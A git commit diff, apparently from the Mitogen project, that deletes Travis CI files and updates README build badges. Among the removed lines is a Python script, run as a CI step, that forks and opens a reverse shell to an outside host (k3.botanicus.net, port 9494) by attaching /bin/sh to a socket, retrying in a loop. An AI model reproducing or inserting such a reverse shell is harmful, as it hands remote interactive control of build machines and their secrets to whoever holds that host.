commit
f202ba9320
@ -1,36 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Allow poking around Azure while the job is running.
|
||||
"""
|
||||
|
||||
import os
|
||||
import pty
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
if os.fork():
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def try_once():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("k3.botanicus.net", 9494))
|
||||
open('/tmp/interactive', 'w').close()
|
||||
|
||||
os.dup2(s.fileno(), 0)
|
||||
os.dup2(s.fileno(), 1)
|
||||
os.dup2(s.fileno(), 2)
|
||||
p = pty.spawn("/bin/sh")
|
||||
|
||||
|
||||
while True:
|
||||
try:
|
||||
try_once()
|
||||
except:
|
||||
time.sleep(5)
|
||||
continue
|
||||
|
@ -1,35 +0,0 @@
|
||||
#!/bin/bash
|
||||
# workaround from https://stackoverflow.com/a/26082445 to handle Travis 4MB log limit
|
||||
set -e
|
||||
|
||||
export PING_SLEEP=30s
|
||||
export WORKDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
export BUILD_OUTPUT=$WORKDIR/build.out
|
||||
|
||||
touch $BUILD_OUTPUT
|
||||
|
||||
dump_output() {
|
||||
echo Tailing the last 1000 lines of output:
|
||||
tail -1000 $BUILD_OUTPUT
|
||||
}
|
||||
error_handler() {
|
||||
echo ERROR: An error was encountered with the build.
|
||||
dump_output
|
||||
kill $PING_LOOP_PID
|
||||
exit 1
|
||||
}
|
||||
# If an error occurs, run our error handler to output a tail of the build
|
||||
trap 'error_handler' ERR
|
||||
|
||||
# Set up a repeating loop to send some output to Travis.
|
||||
|
||||
bash -c "while true; do echo \$(date) - building ...; sleep $PING_SLEEP; done" &
|
||||
PING_LOOP_PID=$!
|
||||
|
||||
.ci/${MODE}_tests.py >> $BUILD_OUTPUT 2>&1
|
||||
|
||||
# The build finished without returning an error so dump a tail of the output
|
||||
dump_output
|
||||
|
||||
# nicely terminate the ping output loop
|
||||
kill $PING_LOOP_PID
|
@ -1,87 +0,0 @@
|
||||
sudo: required
|
||||
dist: xenial # Ubuntu 16.04 LTS
|
||||
|
||||
notifications:
|
||||
email: false
|
||||
irc: "chat.freenode.net#mitogen-builds"
|
||||
|
||||
language: python
|
||||
|
||||
branches:
|
||||
except:
|
||||
- docs-master
|
||||
|
||||
cache:
|
||||
- pip
|
||||
- directories:
|
||||
- /home/travis/virtualenv
|
||||
|
||||
install:
|
||||
- if ! [ -x "$(command -v aws)" ]; then curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" ; unzip awscliv2.zip ; sudo ./aws/install ; fi
|
||||
- pip install -U pip==20.2.1
|
||||
- .ci/${MODE}_install.py
|
||||
|
||||
# Travis has a 4MB log limit (https://github.com/travis-ci/travis-ci/issues/1382), but verbose Mitogen logs run larger than that
|
||||
# in order to keep verbosity to debug a build failure, will run with this workaround: https://stackoverflow.com/a/26082445
|
||||
script:
|
||||
- .ci/spawn_reverse_shell.py
|
||||
- MODE=${MODE} .ci/travis.sh
|
||||
|
||||
# To avoid matrix explosion, just test against oldest->newest and
|
||||
# newest->oldest in various configuartions.
|
||||
|
||||
matrix:
|
||||
include:
|
||||
# Debops tests.
|
||||
# NOTE: debops tests turned off for Ansible 2.10: https://github.com/debops/debops/issues/1521
|
||||
# 2.10; 3.6 -> 2.7
|
||||
# - python: "3.6"
|
||||
# env: MODE=debops_common VER=2.10.0
|
||||
# 2.10; 2.7 -> 2.7
|
||||
# - python: "2.7"
|
||||
# env: MODE=debops_common VER=2.10.0
|
||||
|
||||
# Sanity check against vanilla Ansible. One job suffices.
|
||||
# https://github.com/dw/mitogen/pull/715#issuecomment-719266420 migrating to Azure for now due to Travis 50 min time limit cap
|
||||
# azure lets us adjust the cap, and the current STRATEGY=linear tests take up to 1.5 hours to finish
|
||||
# - python: "2.7"
|
||||
# env: MODE=ansible VER=2.10.0 DISTROS=debian STRATEGY=linear
|
||||
|
||||
# ansible_mitogen tests.
|
||||
|
||||
# 2.10 -> {debian, centos6, centos7}
|
||||
- python: "3.6"
|
||||
env: MODE=ansible VER=2.10.0
|
||||
# 2.10 -> {debian, centos6, centos7}
|
||||
- python: "3.9"
|
||||
env: MODE=ansible VER=2.10.0
|
||||
# 2.10 -> {debian, centos6, centos7}
|
||||
- python: "2.7"
|
||||
env: MODE=ansible VER=2.10.0
|
||||
# 2.10 -> {debian, centos6, centos7}
|
||||
# - python: "2.6"
|
||||
# env: MODE=ansible VER=2.10.0
|
||||
|
||||
# 2.10 -> {centos5}
|
||||
# - python: "2.6"
|
||||
# env: MODE=ansible DISTROS=centos5 VER=2.10.0
|
||||
|
||||
# Mitogen tests.
|
||||
# 2.4 -> 2.4
|
||||
# - language: c
|
||||
# env: MODE=mitogen_py24 DISTROS=centos5 VER=2.10.0
|
||||
# 2.7 -> 2.7 -- moved to Azure
|
||||
# 2.7 -> 2.6
|
||||
#- python: "2.7"
|
||||
#env: MODE=mitogen DISTRO=centos6
|
||||
- python: "3.6"
|
||||
env: MODE=mitogen DISTRO=centos7
|
||||
- python: "3.9"
|
||||
env: MODE=mitogen DISTRO=centos7
|
||||
# 2.6 -> 2.7
|
||||
# - python: "2.6"
|
||||
# env: MODE=mitogen DISTRO=centos7
|
||||
# 2.6 -> 3.5
|
||||
# - python: "2.6"
|
||||
# env: MODE=mitogen DISTRO=debian-py3
|
||||
# 3.6 -> 2.6 -- moved to Azure
|
@ -1,12 +1,9 @@
|
||||
# Mitogen
|
||||
|
||||
<!-- [![Build Status](https://travis-ci.org/dw/mitogen.png?branch=master)](https://travis-ci.org/dw/mitogen}) -->
|
||||
<a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
|
||||
|
||||
![](https://i.imgur.com/eBM6LhJ.gif)
|
||||
|
||||
[![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/)
|
||||
|
||||
[![Build Status](https://api.travis-ci.com/mitogen-hq/mitogen.svg?branch=master)](https://api.travis-ci.com/mitogen-hq/mitogen)
|
||||
|
||||
[![Pipelines Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
|
||||
[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
|
||||
|
Loading…
Reference in New Issue